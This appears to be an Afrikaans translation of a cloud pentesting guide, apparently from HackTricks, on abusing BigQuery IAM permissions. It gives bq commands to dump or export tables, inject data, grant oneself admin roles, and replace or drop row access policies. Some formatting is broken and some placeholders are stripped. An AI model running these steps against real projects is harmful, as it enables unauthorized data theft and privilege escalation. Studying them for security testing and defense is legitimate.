Om die inligting wat binne ’n BigQuery-tabel gestoor is te lees, kan dit moontlik wees om sensitiewe inligting te vind. Om by die inligting uit te kom, is die volgende toestemmings nodig: bigquery.tables.get, bigquery.jobs.create en bigquery.tables.getData:
Lees BigQuery tabeldata
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
Dit is ’n ander manier om toegang tot die data te kry. Eksporteer dit na ’n cloud storage bucket en laai die lêers af met die inligting. Om hierdie aksie uit te voer is die volgende permissies benodig: bigquery.tables.export, bigquery.jobs.create en storage.objects.create.
Eksporteer BigQuery-tabel na Cloud Storage
```bash
bq extract .
Dit kan moontlik wees om sekere vertroude data in ’n BigQuery tabel in te voeg om ’n kwesbaarheid elders te misbruik. Dit kan maklik gedoen word met die toestemmings bigquery.tables.get, bigquery.tables.updateData en bigquery.jobs.create:
Voeg data in 'n BigQuery-tabel
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
</details>
### `bigquery.datasets.setIamPolicy`
'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** oor 'n BigQuery dataset te gee:
<details>
<summary>Set IAM policy on BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
Net hierdie toestemming maak dit moontlik om jou toegang tot ’n BigQuery-dataset by te werk deur die ACLs te wysig wat aandui wie toegang daartoe het:
Update BigQuery dataset ACLs
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
’n aanvaller kan hierdie voorreg misbruik om homself verdere toestemmings op ’n BigQuery-tabel te gee:
Stel IAM-beleid op BigQuery-tabel
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
Volgens die docs is dit met die genoemde toestemmings moontlik om 'n ry-toegangsbeleid te **bywerk.**\
Egter, **wanneer jy die cli `bq` gebruik** benodig jy nog 'n paar toestemmings: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Skep of vervang 'n ry-toegangsbeleid</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Dit is moontlik om die filter-ID in die uitvoer van die opgelysing van rytoegangsbeleide te vind. Voorbeeld:
Lys rytoegangsbeleide
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
As jy **`bigquery.rowAccessPolicies.delete`** in plaas van `bigquery.rowAccessPolicies.update` het, kan jy ook net die beleid verwyder:
<details>
<summary>Verwyder row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
Nog ’n potensiële opsie om row access policies te omseil sou wees om bloot die waarde van die beperkte data te verander. As jy slegs kan sien wanneer termCfba is, verander net alle rekords van die tabel sodat term = "Cfba". Dit word egter deur bigquery verhoed.